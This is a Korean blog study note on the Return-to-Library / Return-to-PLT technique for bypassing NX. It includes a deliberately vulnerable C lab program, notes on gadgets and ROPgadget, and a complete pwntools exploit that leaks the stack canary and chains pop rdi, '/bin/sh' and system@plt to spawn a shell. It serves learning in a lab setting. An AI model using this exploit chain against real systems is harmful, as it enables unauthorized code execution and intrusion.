NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다.
RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다.
Overview
NX는 실행 권한을 없애 버퍼에 주입한 코드를 실행할 수 없도록 하는 것이다. 따라서 주입한 쉘코드를 실행하는 것은 어려워졌지만, 버퍼오버플로우로 return addr을 덮는 것은 여전히 가능하다. 그래서 여전히 실행 권한이 남아있는 코드 영역으로 return addr을 덮는 공격 기법을 고안했다.
실행 권한이 있는 메모리 영역은 일반적으로 바이너리의 코드영역과 바이너리가 참조하는 라이브러리의 코드 영역이다.
라이브러리 중 libc에는 system, execve등 프로세스 실행과 관련된 함수들이 구현되어 있다. 그래서 라이브러리를 이용해 NX를 우회하고 쉘을 획득한다. 이를 Return to Library(RTL)이라고 한다. 이와 유사한 공격 기법으로 Return to PLT가 있다.
RTL 실습
다음 예제코드를 가지고 RTL 실습을 해보자.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
보호기법 파악
checksec 명령을 통해 rtl 바이너리에 적용된 보호기법을 파악한다.
카나리가 존재하고, NX가 적용되어 있다. 리눅스 커널에서 ASLR은 기본적으로 적용되어 있으므로, 특별히 언급하지 않으면 ASLR은 적용된 것이다.
⇒ 카나리, NX, ASLR 적용
코드 분석
취약점은 앞선 글들과 비슷하게 처음 read 함수를 통해 카나리 값을 알아내고, 두번쩌 read를 통해 버퍼오버플로우를 일으켜 return addr을 바꿔 쉘을 획득하는 것이다. 이번엔 버퍼에 쉘을 주입한다고 하여도 NX로 인해 실행되지 않으므로 쉘을 실행할 다른 방법이 필요하다.
NX로 인해 쉘코드 실행을 못하므로 라이브러리의 코드 영역을 이용해 볼 것이다.
line7 - /bin/sh 코드 섹션에 추가
PLT의 system함수를 이용할 것이기 때문에 해당 문자열이 필요하다. system("/bin/sh")을 이용해 쉘을 획득한다.
ASLR이 적용되어 있지만, PIE가 적용되지 않아 코드 segment와 데이터 segment의 주소는 고정되어있다. 따라서 /bin/sh의 주소는 고정되어있다.
line16 - system 함수를 PTL에 추가
system함수가 처음 호출되면, 함수 이름을 바탕으로 PLT의 라이브러리에서 심볼을 탐색하고 해당 함수를 찾으면 그 주소로 실행흐름을 옮기는 resolve 과정을 거친다. 이후 resolve된 함수의 주소는 GOT에 저장한다. 따라서 PLT에 어떤 라이브러리 함수가 있다면, 그 함수의 PLT엔트리를 실행해 해당 함수를 실행할 수 있다.
본 실습에서는 ASLR이 걸려있어도 PIE가 적용되어 있지 않아 PLT의 주소는 고정된다. 그래서 라이브러리의 베이스 주소를 몰라도 해당 라이브러리 함수를 실행할 수 있다. 이런 공격을 Return to PLT라고 한다. PLT의 함수를 이용하므로 NX를 우회할 수 있다.
ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다. 따라서 system 함수를 이용하고 싶으면, system함수를 실행하는 코드가 추가되어야 한다.
line18 ~ 27 - 버퍼 오버플로우
처음 read 함수를 통해 카나리 값을 알아내고, 두번쩌 read를 통해 버퍼오버플로우를 일으켜 return addr을 덮는다.
익스플로잇 설계
익스에 필요한 단계는 다음과 같다.
- canary 우회
- rdi값을 /bin/sh의 주소로 설정 (64bit 환경에서 함수의 인자를 rdi, rsi, rdx, rcx 순으로 저장하고 전달)
- system 함수의 PLT 주소 구하기 ⇒ system 함수 호출
- 쉘 획득
2,3 단계를 수행하면 system("/bin/sh(rdi)")를 실행할 수 있다. 이를 위해선 리턴 가젯을 활용해야한다.
리턴 가젯 - Return Gadget
리턴 가젯은 아래와 같이 ret으로 끝나는 어셈블리 코드 조각을 의미한다.이는 return address를 덮는 공격의 유연성을 높여 익스에 필요한 조건을 만족할 수 있도록 돕는다고 한다. 상황에 맞게 스택 포인터를 이동시켜주는 역할을 한다.
0x0000000000400853 : pop rdi ; ret
아래와 같이 리턴 가젯을 사용해 반환주소와 이후의 버퍼를 덮으면, pop rdi로 rdi를 /bin/sh의 주소로 설정하고 이어지는 ret으로 system 함수를 호출 할 수 있다. 대부분의 함수들도 ret로 종료되므로, 함수들도 리턴 가젯으로 사용될 수 있다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
리턴 가젯 찾기 - ROPgadget
ROPgadget을 이용해 리턴 가젯을 찾는다. ROPgadget은 아래의 명령어로 설치 및 확인 가능하다.
$ python3 -m pip install ROPgadget --user
$ ROPgadget -v
만약 ROPgadget -v를 했을 때 해당 명령어가 없다고 뜨면 아래의 순서로 삭제 후 재설치하면 된다.
$ pip list
$ pip uninstall ROPgadget
$ sudo -H python3 -m pip install ROPgadget
이제 아래의 명령어로 필요한 가젯을 확인한다. --re 옵션을 사용하면 정규표현식으로 가젯을 필터링할 수 있다. 왼편의 16진수로 적힌 주소가 가젯의 주소이다.
pwndbg로 /bin/sh 주소 찾기
main의 적당한 곳에 브레이크 포인트를 걸고 search로 확인한다.
system 함수의 PLT 주소 찾기
PLT 주소는 pwndbg 또는 pwntools의 API로 찾을 수 있다. pwndbg로 확인하려 했으나,, 아래와 같은 오류가 뜬다...
pwntools의 API를 이용해야겠다..
e = ELF('./rtl')
system_plt = e.plt['system']
페이로드 작성
페이로드를 작성할 때 주의해야될 점이 있다. system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야한다. system 내부의 movaps 명령으로 인해 0x10으로 정렬되어 있지 않으면 segmentation fault가 발생한다. 그래서 seg fault가 발생한다면, system 함수 전에 아무 의미없는 가젯(no-op gadget)을 넣어 system 함수의 가젯을 8바이트 뒤로 미뤄보는 것도 방법이다.
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
buf = b"A"*0x39
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
canary = u64(b"\x00" + p.recvn(7))
system_plt = e.plt["system"]
binsh = 0x402004
ret = 0x000000000040101a
gadget = 0x0000000000401333
payload = b"A"*0x38 + p64(canary) + b"B"*0x08
payload += p64(ret)
payload += p64(gadget)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
'CS > system' 카테고리의 다른 글
[System][Dreamhack] Exploit Tech : Return Oriented Programming(ROP) - ret2main (0) | 2023.12.22 |
---|---|
[System][Dreamhack] Exploit Tech : Return Oriented Programming(ROP) (0) | 2023.12.22 |
[System] PLT & GOT (0) | 2022.11.28 |
[System] library - Static Link vs Dynamic Link (1) | 2022.11.26 |
[System][Dreamhack] 메모리 보호기법 Mitigation: NX & ASLR (0) | 2022.11.25 |